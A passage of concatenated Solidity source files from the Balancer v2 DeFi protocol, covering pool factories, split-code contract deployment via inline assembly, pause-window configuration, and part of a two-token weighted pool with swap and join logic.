scalingFactors; } if (totalTokens > 7) { scalingFactors[7] = _scalingFactor7; } else { return scalingFactors; } if (totalTokens > 8) { scalingFactors[8] = _scalingFactor8; } else { return scalingFactors; } if (totalTokens > 9) { scalingFactors[9] = _scalingFactor9; } else { return scalingFactors; } if (totalTokens > 10) { scalingFactors[10] = _scalingFactor10; } else { return scalingFactors; } if (totalTokens > 11) { scalingFactors[11] = _scalingFactor11; } else { return scalingFactors; } if (totalTokens > 12) { scalingFactors[12] = _scalingFactor12; } else { return scalingFactors; } if (totalTokens > 13) { scalingFactors[13] = _scalingFactor13; } else { return scalingFactors; } if (totalTokens > 14) { scalingFactors[14] = _scalingFactor14; } else { return scalingFactors; } if (totalTokens > 15) { scalingFactors[15] = _scalingFactor15; } else { return scalingFactors; } if (totalTokens > 16) { scalingFactors[16] = _scalingFactor16; } else { return scalingFactors; } if (totalTokens > 17) { scalingFactors[17] = _scalingFactor17; } else { return scalingFactors; } if (totalTokens > 18) { scalingFactors[18] = _scalingFactor18; } else { return scalingFactors; } if (totalTokens > 19) { scalingFactors[19] = _scalingFactor19; } else { return scalingFactors; } } return scalingFactors; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/BasePoolSplitCodeFactory.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/FactoryWidePauseWindow.sol"; import "./WeightedPool.sol"; contract WeightedPoolNoAMFactory is BasePoolSplitCodeFactory, FactoryWidePauseWindow { constructor(IVault vault) BasePoolSplitCodeFactory(vault, type(WeightedPool).creationCode) { // solhint-disable-previous-line no-empty-blocks } /** * @dev Deploys a new `WeightedPool` without asset managers. */ function create( string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory weights, uint256 swapFeePercentage, address owner ) external returns (address) { (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration(); return _create( abi.encode( getVault(), name, symbol, tokens, weights, new address[](tokens.length), // Don't allow asset managers swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) ); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/helpers/BaseSplitCodeFactory.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; /** * @dev Same as `BasePoolFactory`, for Pools whose creation code is so large that the factory cannot hold it. */ abstract contract BasePoolSplitCodeFactory is BaseSplitCodeFactory { IVault private immutable _vault; mapping(address => bool) private _isPoolFromFactory; event PoolCreated(address indexed pool); constructor(IVault vault, bytes memory creationCode) BaseSplitCodeFactory(creationCode) { _vault = vault; } /** * @dev Returns the Vault's address. */ function getVault() public view returns (IVault) { return _vault; } /** * @dev Returns true if `pool` was created by this factory. */ function isPoolFromFactory(address pool) external view returns (bool) { return _isPoolFromFactory[pool]; } function _create(bytes memory constructorArgs) internal override returns (address) { address pool = super._create(constructorArgs); _isPoolFromFactory[pool] = true; emit PoolCreated(pool); return pool; } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; /** * @dev Utility to create Pool factories for Pools that use the `TemporarilyPausable` contract. * * By calling `TemporarilyPausable`'s constructor with the result of `getPauseConfiguration`, all Pools created by this * factory will share the same Pause Window end time, after which both old and new Pools will not be pausable. */ contract FactoryWidePauseWindow { // This contract relies on timestamps in a similar way as `TemporarilyPausable` does - the same caveats apply. // solhint-disable not-rely-on-time uint256 private constant _INITIAL_PAUSE_WINDOW_DURATION = 90 days; uint256 private constant _BUFFER_PERIOD_DURATION = 30 days; // Time when the pause window for all created Pools expires, and the pause window duration of new Pools becomes // zero. uint256 private immutable _poolsPauseWindowEndTime; constructor() { _poolsPauseWindowEndTime = block.timestamp + _INITIAL_PAUSE_WINDOW_DURATION; } /** * @dev Returns the current `TemporarilyPausable` configuration that will be applied to Pools created by this * factory. * * `pauseWindowDuration` will decrease over time until it reaches zero, at which point both it and * `bufferPeriodDuration` will be zero forever, meaning deployed Pools will not be pausable. */ function getPauseConfiguration() public view returns (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) { uint256 currentTime = block.timestamp; if (currentTime < _poolsPauseWindowEndTime) { // The buffer period is always the same since its duration is related to how much time is needed to respond // to a potential emergency. The Pause Window duration however decreases as the end time approaches. pauseWindowDuration = _poolsPauseWindowEndTime - currentTime; // No need for checked arithmetic. bufferPeriodDuration = _BUFFER_PERIOD_DURATION; } else { // After the end time, newly created Pools have no Pause Window, nor Buffer Period (since they are not // pausable in the first place). pauseWindowDuration = 0; bufferPeriodDuration = 0; } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "./BalancerErrors.sol"; import "./CodeDeployer.sol"; /** * @dev Base factory for contracts whose creation code is so large that the factory cannot hold it. This happens when * the contract's creation code grows close to 24kB. * * Note that this factory cannot help with contracts that have a *runtime* (deployed) bytecode larger than 24kB. */ abstract contract BaseSplitCodeFactory { // The contract's creation code is stored as code in two separate addresses, and retrieved via `extcodecopy`. This // means this factory supports contracts with creation code of up to 48kB. // We rely on inline-assembly to achieve this, both to make the entire operation highly gas efficient, and because // `extcodecopy` is not available in Solidity. // solhint-disable no-inline-assembly address private immutable _creationCodeContractA; uint256 private immutable _creationCodeSizeA; address private immutable _creationCodeContractB; uint256 private immutable _creationCodeSizeB; /** * @dev The creation code of a contract Foo can be obtained inside Solidity with `type(Foo).creationCode`. */ constructor(bytes memory creationCode) { uint256 creationCodeSize = creationCode.length; // We are going to deploy two contracts: one with approximately the first half of `creationCode`'s contents // (A), and another with the remaining half (B). // We store the lengths in both immutable and stack variables, since immutable variables cannot be read during // construction. uint256 creationCodeSizeA = creationCodeSize / 2; _creationCodeSizeA = creationCodeSizeA; uint256 creationCodeSizeB = creationCodeSize - creationCodeSizeA; _creationCodeSizeB = creationCodeSizeB; // To deploy the contracts, we're going to use `CodeDeployer.deploy()`, which expects a memory array with // the code to deploy. Note that we cannot simply create arrays for A and B's code by copying or moving // `creationCode`'s contents as they are expected to be very large (> 24kB), so we must operate in-place. // Memory: [ code length ] [ A.data ] [ B.data ] // Creating A's array is simple: we simply replace `creationCode`'s length with A's length. We'll later restore // the original length. bytes memory creationCodeA; assembly { creationCodeA := creationCode mstore(creationCodeA, creationCodeSizeA) } // Memory: [ A.length ] [ A.data ] [ B.data ] // ^ creationCodeA _creationCodeContractA = CodeDeployer.deploy(creationCodeA); // Creating B's array is a bit more involved: since we cannot move B's contents, we are going to create a 'new' // memory array starting at A's last 32 bytes, which will be replaced with B's length. We'll back-up this last // byte to later restore it. bytes memory creationCodeB; bytes32 lastByteA; assembly { // `creationCode` points to the array's length, not data, so by adding A's length to it we arrive at A's // last 32 bytes. creationCodeB := add(creationCode, creationCodeSizeA) lastByteA := mload(creationCodeB) mstore(creationCodeB, creationCodeSizeB) } // Memory: [ A.length ] [ A.data[ : -1] ] [ B.length ][ B.data ] // ^ creationCodeA ^ creationCodeB _creationCodeContractB = CodeDeployer.deploy(creationCodeB); // We now restore the original contents of `creationCode` by writing back the original length and A's last byte. assembly { mstore(creationCodeA, creationCodeSize) mstore(creationCodeB, lastByteA) } } /** * @dev Returns the two addresses where the creation code of the contract crated by this factory is stored. */ function getCreationCodeContracts() public view returns (address contractA, address contractB) { return (_creationCodeContractA, _creationCodeContractB); } /** * @dev Returns the creation code of the contract this factory creates. */ function getCreationCode() public view returns (bytes memory) { return _getCreationCodeWithArgs(""); } /** * @dev Returns the creation code that will result in a contract being deployed with `constructorArgs`. */ function _getCreationCodeWithArgs(bytes memory constructorArgs) private view returns (bytes memory code) { // This function exists because `abi.encode()` cannot be instructed to place its result at a specific address. // We need for the ABI-encoded constructor arguments to be located immediately after the creation code, but // cannot rely on `abi.encodePacked()` to perform concatenation as that would involve copying the creation code, // which would be prohibitively expensive. // Instead, we compute the creation code in a pre-allocated array that is large enough to hold *both* the // creation code and the constructor arguments, and then copy the ABI-encoded arguments (which should not be // overly long) right after the end of the creation code. // Immutable variables cannot be used in assembly, so we store them in the stack first. address creationCodeContractA = _creationCodeContractA; uint256 creationCodeSizeA = _creationCodeSizeA; address creationCodeContractB = _creationCodeContractB; uint256 creationCodeSizeB = _creationCodeSizeB; uint256 creationCodeSize = creationCodeSizeA + creationCodeSizeB; uint256 constructorArgsSize = constructorArgs.length; uint256 codeSize = creationCodeSize + constructorArgsSize; assembly { // First, we allocate memory for `code` by retrieving the free memory pointer and then moving it ahead of // `code` by the size of the creation code plus constructor arguments, and 32 bytes for the array length. code := mload(0x40) mstore(0x40, add(code, add(codeSize, 32))) // We now store the length of the code plus constructor arguments. mstore(code, codeSize) // Next, we concatenate the creation code stored in A and B. let dataStart := add(code, 32) extcodecopy(creationCodeContractA, dataStart, 0, creationCodeSizeA) extcodecopy(creationCodeContractB, add(dataStart, creationCodeSizeA), 0, creationCodeSizeB) } // Finally, we copy the constructorArgs to the end of the array. Unfortunately there is no way to avoid this // copy, as it is not possible to tell Solidity where to store the result of `abi.encode()`. uint256 constructorArgsDataPtr; uint256 constructorArgsCodeDataPtr; assembly { constructorArgsDataPtr := add(constructorArgs, 32) constructorArgsCodeDataPtr := add(add(code, 32), creationCodeSize) } _memcpy(constructorArgsCodeDataPtr, constructorArgsDataPtr, constructorArgsSize); } /** * @dev Deploys a contract with constructor arguments. To create `constructorArgs`, call `abi.encode()` with the * contract's constructor arguments, in order. */ function _create(bytes memory constructorArgs) internal virtual returns (address) { bytes memory creationCode = _getCreationCodeWithArgs(constructorArgs); address destination; assembly { destination := create(0, add(creationCode, 32), mload(creationCode)) } if (destination == address(0)) { // Bubble up inner revert reason // solhint-disable-next-line no-inline-assembly assembly { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } } return destination; } // From // https://github.com/Arachnid/solidity-stringutils/blob/b9a6f6615cf18a87a823cbc461ce9e140a61c305/src/strings.sol function _memcpy( uint256 dest, uint256 src, uint256 len ) private pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint256 mask = 256**(32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; import "./BalancerErrors.sol"; /** * @dev Library used to deploy contracts with specific code. This can be used for long-term storage of immutable data as * contract code, which can be retrieved via the `extcodecopy` opcode. */ library CodeDeployer { // During contract construction, the full code supplied exists as code, and can be accessed via `codesize` and // `codecopy`. This is not the contract's final code however: whatever the constructor returns is what will be // stored as its code. // // We use this mechanism to have a simple constructor that stores whatever is appended to it. The following opcode // sequence corresponds to the creation code of the following equivalent Solidity contract, plus padding to make the // full code 32 bytes long: // // contract CodeDeployer { // constructor() payable { // uint256 size; // assembly { // size := sub(codesize(), 32) // size of appended data, as constructor is 32 bytes long // codecopy(0, 32, size) // copy all appended data to memory at position 0 // return(0, size) // return appended data for it to be stored as code // } // } // } // // More specifically, it is composed of the following opcodes (plus padding): // // [1] PUSH1 0x20 // [2] CODESIZE // [3] SUB // [4] DUP1 // [6] PUSH1 0x20 // [8] PUSH1 0x00 // [9] CODECOPY // [11] PUSH1 0x00 // [12] RETURN // // The padding is just the 0xfe sequence (invalid opcode). bytes32 private constant _DEPLOYER_CREATION_CODE = 0x602038038060206000396000f3fefefefefefefefefefefefefefefefefefefe; /** * @dev Deploys a contract with `code` as its code, returning the destination address. * * Reverts if deployment fails. */ function deploy(bytes memory code) internal returns (address destination) { bytes32 deployerCreationCode = _DEPLOYER_CREATION_CODE; // solhint-disable-next-line no-inline-assembly assembly { let codeLength := mload(code) // `code` is composed of length and data. We've already stored its length in `codeLength`, so we simply // replace it with the deployer creation code (which is exactly 32 bytes long). mstore(code, deployerCreationCode) // At this point, `code` now points to the deployer creation code immediately followed by `code`'s data // contents. This is exactly what the deployer expects to receive when created. destination := create(0, code, add(codeLength, 32)) // Finally, we restore the original length in order to not mutate `code`. mstore(code, codeLength) } // The create opcode returns the zero address when contract creation fails, so we revert if this happens. _require(destination != address(0), Errors.CODE_DEPLOYMENT_FAILED); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/BasePoolSplitCodeFactory.sol"; import "@balancer-labs/v2-pool-utils/contracts/factories/FactoryWidePauseWindow.sol"; import "./WeightedPool.sol"; contract WeightedPoolFactory is BasePoolSplitCodeFactory, FactoryWidePauseWindow { constructor(IVault vault) BasePoolSplitCodeFactory(vault, type(WeightedPool).creationCode) { // solhint-disable-previous-line no-empty-blocks } /** * @dev Deploys a new `WeightedPool`. */ function create( string memory name, string memory symbol, IERC20[] memory tokens, uint256[] memory weights, address[] memory assetManagers, uint256 swapFeePercentage, address owner ) external returns (address) { (uint256 pauseWindowDuration, uint256 bufferPeriodDuration) = getPauseConfiguration(); return _create( abi.encode( getVault(), name, symbol, tokens, weights, assetManagers, swapFeePercentage, pauseWindowDuration, bufferPeriodDuration, owner ) ); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol"; /** * @dev Base contract for Pool factories. * * Pools are deployed from factories to allow third parties to reason about them. Unknown Pools may have arbitrary * logic: being able to assert that a Pool's behavior follows certain rules (those imposed by the contracts created by * the factory) is very powerful. */ abstract contract BasePoolFactory { IVault private immutable _vault; mapping(address => bool) private _isPoolFromFactory; event PoolCreated(address indexed pool); constructor(IVault vault) { _vault = vault; } /** * @dev Returns the Vault's address. */ function getVault() public view returns (IVault) { return _vault; } /** * @dev Returns true if `pool` was created by this factory. */ function isPoolFromFactory(address pool) external view returns (bool) { return _isPoolFromFactory[pool]; } /** * @dev Registers a new created pool. * * Emits a `PoolCreated` event. */ function _register(address pool) internal { _isPoolFromFactory[pool] = true; emit PoolCreated(pool); } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see . pragma solidity ^0.7.0; pragma experimental ABIEncoderV2; import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/LogCompression.sol"; import "@balancer-labs/v2-solidity-utils/contracts/helpers/TemporarilyPausable.sol"; import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol"; import "@balancer-labs/v2-vault/contracts/interfaces/IMinimalSwapInfoPool.sol"; import "@balancer-labs/v2-pool-utils/contracts/BasePoolAuthorization.sol"; import "@balancer-labs/v2-pool-utils/contracts/BalancerPoolToken.sol"; import "@balancer-labs/v2-pool-utils/contracts/interfaces/IPriceOracle.sol"; import "@balancer-labs/v2-pool-utils/contracts/oracle/PoolPriceOracle.sol"; import "@balancer-labs/v2-pool-utils/contracts/oracle/Buffer.sol"; import "./WeightedMath.sol"; import "./WeightedOracleMath.sol"; import "./WeightedPoolUserDataHelpers.sol"; import "./WeightedPool2TokensMiscData.sol"; contract WeightedPool2Tokens is IMinimalSwapInfoPool, IPriceOracle, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable, PoolPriceOracle, WeightedMath, WeightedOracleMath { using FixedPoint for uint256; using WeightedPoolUserDataHelpers for bytes; using WeightedPool2TokensMiscData for bytes32; uint256 private constant _MINIMUM_BPT = 1e6; // 1e18 corresponds to 1.0, or a 100% fee uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001% uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10% // The swap fee is internally stored using 64 bits, which is enough to represent _MAX_SWAP_FEE_PERCENTAGE. bytes32 internal _miscData; uint256 private _lastInvariant; IVault private immutable _vault; bytes32 private immutable _poolId; IERC20 internal immutable _token0; IERC20 internal immutable _token1; uint256 private immutable _normalizedWeight0; uint256 private immutable _normalizedWeight1; // The protocol fees will always be charged using the token associated with the max weight in the pool. // Since these Pools will register tokens only once, we can assume this index will be constant. uint256 private immutable _maxWeightTokenIndex; // All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will // not change throughout its lifetime, and store the corresponding scaling factor for each at construction time. // These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported. uint256 internal immutable _scalingFactor0; uint256 internal immutable _scalingFactor1; event OracleEnabledChanged(bool enabled); event SwapFeePercentageChanged(uint256 swapFeePercentage); modifier onlyVault(bytes32 poolId) { _require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT); _require(poolId == getPoolId(), Errors.INVALID_POOL_ID); _; } struct NewPoolParams { IVault vault; string name; string symbol; IERC20 token0; IERC20 token1; uint256 normalizedWeight0; uint256 normalizedWeight1; uint256 swapFeePercentage; uint256 pauseWindowDuration; uint256 bufferPeriodDuration; bool oracleEnabled; address owner; } constructor(NewPoolParams memory params) // Base Pools are expected to be deployed using factories. By using the factory address as the action // disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for // simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in // any Pool created by the same factory), while still making action identifiers unique among different factories // if the selectors match, preventing accidental errors. Authentication(bytes32(uint256(msg.sender))) BalancerPoolToken(params.name, params.symbol) BasePoolAuthorization(params.owner) TemporarilyPausable(params.pauseWindowDuration, params.bufferPeriodDuration) { _setOracleEnabled(params.oracleEnabled); _setSwapFeePercentage(params.swapFeePercentage); bytes32 poolId = params.vault.registerPool(IVault.PoolSpecialization.TWO_TOKEN); // Pass in zero addresses for Asset Managers IERC20[] memory tokens = new IERC20[](2); tokens[0] = params.token0; tokens[1] = params.token1; params.vault.registerTokens(poolId, tokens, new address[](2)); // Set immutable state variables - these cannot be read from during construction _vault = params.vault; _poolId = poolId; _token0 = params.token0; _token1 = params.token1; _scalingFactor0 = _computeScalingFactor(params.token0); _scalingFactor1 = _computeScalingFactor(params.token1); // Ensure each normalized weight is above them minimum and find the token index of the maximum weight _require(params.normalizedWeight0 >= _MIN_WEIGHT, Errors.MIN_WEIGHT); _require(params.normalizedWeight1 >= _MIN_WEIGHT, Errors.MIN_WEIGHT); // Ensure that the normalized weights sum to ONE uint256 normalizedSum = params.normalizedWeight0.add(params.normalizedWeight1); _require(normalizedSum == FixedPoint.ONE, Errors.NORMALIZED_WEIGHT_INVARIANT); _normalizedWeight0 = params.normalizedWeight0; _normalizedWeight1 = params.normalizedWeight1; _maxWeightTokenIndex = params.normalizedWeight0 >= params.normalizedWeight1 ? 0 : 1; } // Getters / Setters function getVault() public view returns (IVault) { return _vault; } function getPoolId() public view override returns (bytes32) { return _poolId; } function getMiscData() external view returns ( int256 logInvariant, int256 logTotalSupply, uint256 oracleSampleCreationTimestamp, uint256 oracleIndex, bool oracleEnabled, uint256 swapFeePercentage ) { bytes32 miscData = _miscData; logInvariant = miscData.logInvariant(); logTotalSupply = miscData.logTotalSupply(); oracleSampleCreationTimestamp = miscData.oracleSampleCreationTimestamp(); oracleIndex = miscData.oracleIndex(); oracleEnabled = miscData.oracleEnabled(); swapFeePercentage = miscData.swapFeePercentage(); } function getSwapFeePercentage() public view returns (uint256) { return _miscData.swapFeePercentage(); } // Caller must be approved by the Vault's Authorizer function setSwapFeePercentage(uint256 swapFeePercentage) public virtual authenticate whenNotPaused { _setSwapFeePercentage(swapFeePercentage); } function _setSwapFeePercentage(uint256 swapFeePercentage) private { _require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE); _require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE); _miscData = _miscData.setSwapFeePercentage(swapFeePercentage); emit SwapFeePercentageChanged(swapFeePercentage); } function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) { return (actionId == getActionId(BasePool.setSwapFeePercentage.selector)) || (actionId == getActionId(BasePool.setAssetManagerPoolConfig.selector)); } /** * @dev Balancer Governance can always enable the Oracle, even if it was originally not enabled. This allows for * Pools that unexpectedly drive much more volume and liquidity than expected to serve as Price Oracles. * * Note that the Oracle can only be enabled - it can never be disabled. */ function enableOracle() external whenNotPaused authenticate { _setOracleEnabled(true); // Cache log invariant and supply only if the pool was initialized if (totalSupply() > 0) { _cacheInvariantAndSupply(); } } function _setOracleEnabled(bool enabled) internal { _miscData = _miscData.setOracleEnabled(enabled); emit OracleEnabledChanged(enabled); } // Caller must be approved by the Vault's Authorizer function setPaused(bool paused) external authenticate { _setPaused(paused); } function getNormalizedWeights() external view returns (uint256[] memory) { return _normalizedWeights(); } function _normalizedWeights() internal view virtual returns (uint256[] memory) { uint256[] memory normalizedWeights = new uint256[](2); normalizedWeights[0] = _normalizedWeights(true); normalizedWeights[1] = _normalizedWeights(false); return normalizedWeights; } function _normalizedWeights(bool token0) internal view virtual returns (uint256) { return token0 ? _normalizedWeight0 : _normalizedWeight1; } function getLastInvariant() external view returns (uint256) { return _lastInvariant; } /** * @dev Returns the current value of the invariant. */ function getInvariant() public view returns (uint256) { (, uint256[] memory balances, ) = getVault().getPoolTokens(getPoolId()); // Since the Pool hooks always work with upscaled balances, we manually // upscale here for consistency _upscaleArray(balances); uint256[] memory normalizedWeights = _normalizedWeights(); return WeightedMath._calculateInvariant(normalizedWeights, balances); } // Swap Hooks function onSwap( SwapRequest memory request, uint256 balanceTokenIn, uint256 balanceTokenOut ) public virtual override whenNotPaused onlyVault(request.poolId) returns (uint256) { bool tokenInIsToken0 = request.tokenIn == _token0; uint256 scalingFactorTokenIn = _scalingFactor(tokenInIsToken0); uint256 scalingFactorTokenOut = _scalingFactor(!tokenInIsToken0); uint256 normalizedWeightIn = _normalizedWeights(tokenInIsToken0); uint256 normalizedWeightOut = _normalizedWeights(!tokenInIsToken0); // All token amounts are upscaled. balanceTokenIn = _upscale(balanceTokenIn, scalingFactorTokenIn); balanceTokenOut = _upscale(balanceTokenOut, scalingFactorTokenOut); // Update price oracle with the pre-swap balances _updateOracle( request.lastChangeBlock, tokenInIsToken0 ? balanceTokenIn : balanceTokenOut, tokenInIsToken0 ? balanceTokenOut : balanceTokenIn ); if (request.kind == IVault.SwapKind.GIVEN_IN) { // Fees are subtracted before scaling, to reduce the complexity of the rounding direction analysis. // This is amount - fee amount, so we round up (favoring a higher fee amount). uint256 feeAmount = request.amount.mulUp(getSwapFeePercentage()); request.amount = _upscale(request.amount.sub(feeAmount), scalingFactorTokenIn); uint256 amountOut = _onSwapGivenIn( request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut ); // amountOut tokens are exiting the Pool, so we round down. return _downscaleDown(amountOut, scalingFactorTokenOut); } else { request.amount = _upscale(request.amount, scalingFactorTokenOut); uint256 amountIn = _onSwapGivenOut( request, balanceTokenIn, balanceTokenOut, normalizedWeightIn, normalizedWeightOut ); // amountIn tokens are entering the Pool, so we round up. amountIn = _downscaleUp(amountIn, scalingFactorTokenIn); // Fees are added after scaling happens, to reduce the complexity of the rounding direction analysis. // This is amount + fee amount, so we round up (favoring a higher fee amount). return amountIn.divUp(getSwapFeePercentage().complement()); } } function _onSwapGivenIn( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut, uint256 normalizedWeightIn, uint256 normalizedWeightOut ) private pure returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcOutGivenIn( currentBalanceTokenIn, normalizedWeightIn, currentBalanceTokenOut, normalizedWeightOut, swapRequest.amount ); } function _onSwapGivenOut( SwapRequest memory swapRequest, uint256 currentBalanceTokenIn, uint256 currentBalanceTokenOut, uint256 normalizedWeightIn, uint256 normalizedWeightOut ) private pure returns (uint256) { // Swaps are disabled while the contract is paused. return WeightedMath._calcInGivenOut( currentBalanceTokenIn, normalizedWeightIn, currentBalanceTokenOut, normalizedWeightOut, swapRequest.amount ); } // Join Hook function onJoinPool( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData ) public virtual override onlyVault(poolId) whenNotPaused returns (uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) { // All joins, including initializations, are disabled while the contract is paused. uint256 bptAmountOut; if (totalSupply() == 0) { (bptAmountOut, amountsIn) = _onInitializePool(poolId, sender, recipient, userData); // On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum // as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from // ever being fully drained. _require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT); _mintPoolTokens(address(0), _MINIMUM_BPT); _mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn); // There are no due protocol fee amounts during initialization dueProtocolFeeAmounts = new uint256[](2); } else { _upscaleArray(balances); // Update price oracle with the pre-join balances _updateOracle(lastChangeBlock, balances[0], balances[1]); (bptAmountOut, amountsIn, dueProtocolFeeAmounts) = _onJoinPool( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); // Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it. _mintPoolTokens(recipient, bptAmountOut); // amountsIn are amounts entering the Pool, so we round up. _downscaleUpArray(amountsIn); // dueProtocolFeeAmounts are amounts exiting the Pool, so we round down. _downscaleDownArray(dueProtocolFeeAmounts); } // Update cached total supply and invariant using the results after the join that will be used for future // oracle updates. _cacheInvariantAndSupply(); } /** * @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero. * * Returns the amount of BPT to mint, and the token amounts the Pool will receive in return. * * Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent * to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from * ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's * lifetime. * * The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will * be downscaled (rounding up) before being returned to the Vault. */ function _onInitializePool( bytes32, address, address, bytes memory userData ) private returns (uint256, uint256[] memory) { BaseWeightedPool.JoinKind kind = userData.joinKind(); _require(kind == BaseWeightedPool.JoinKind.INIT, Errors.UNINITIALIZED); uint256[] memory amountsIn = userData.initialAmountsIn(); InputHelpers.ensureInputLengthMatch(amountsIn.length, 2); _upscaleArray(amountsIn); uint256[] memory normalizedWeights = _normalizedWeights(); uint256 invariantAfterJoin = WeightedMath._calculateInvariant(normalizedWeights, amountsIn); // Set 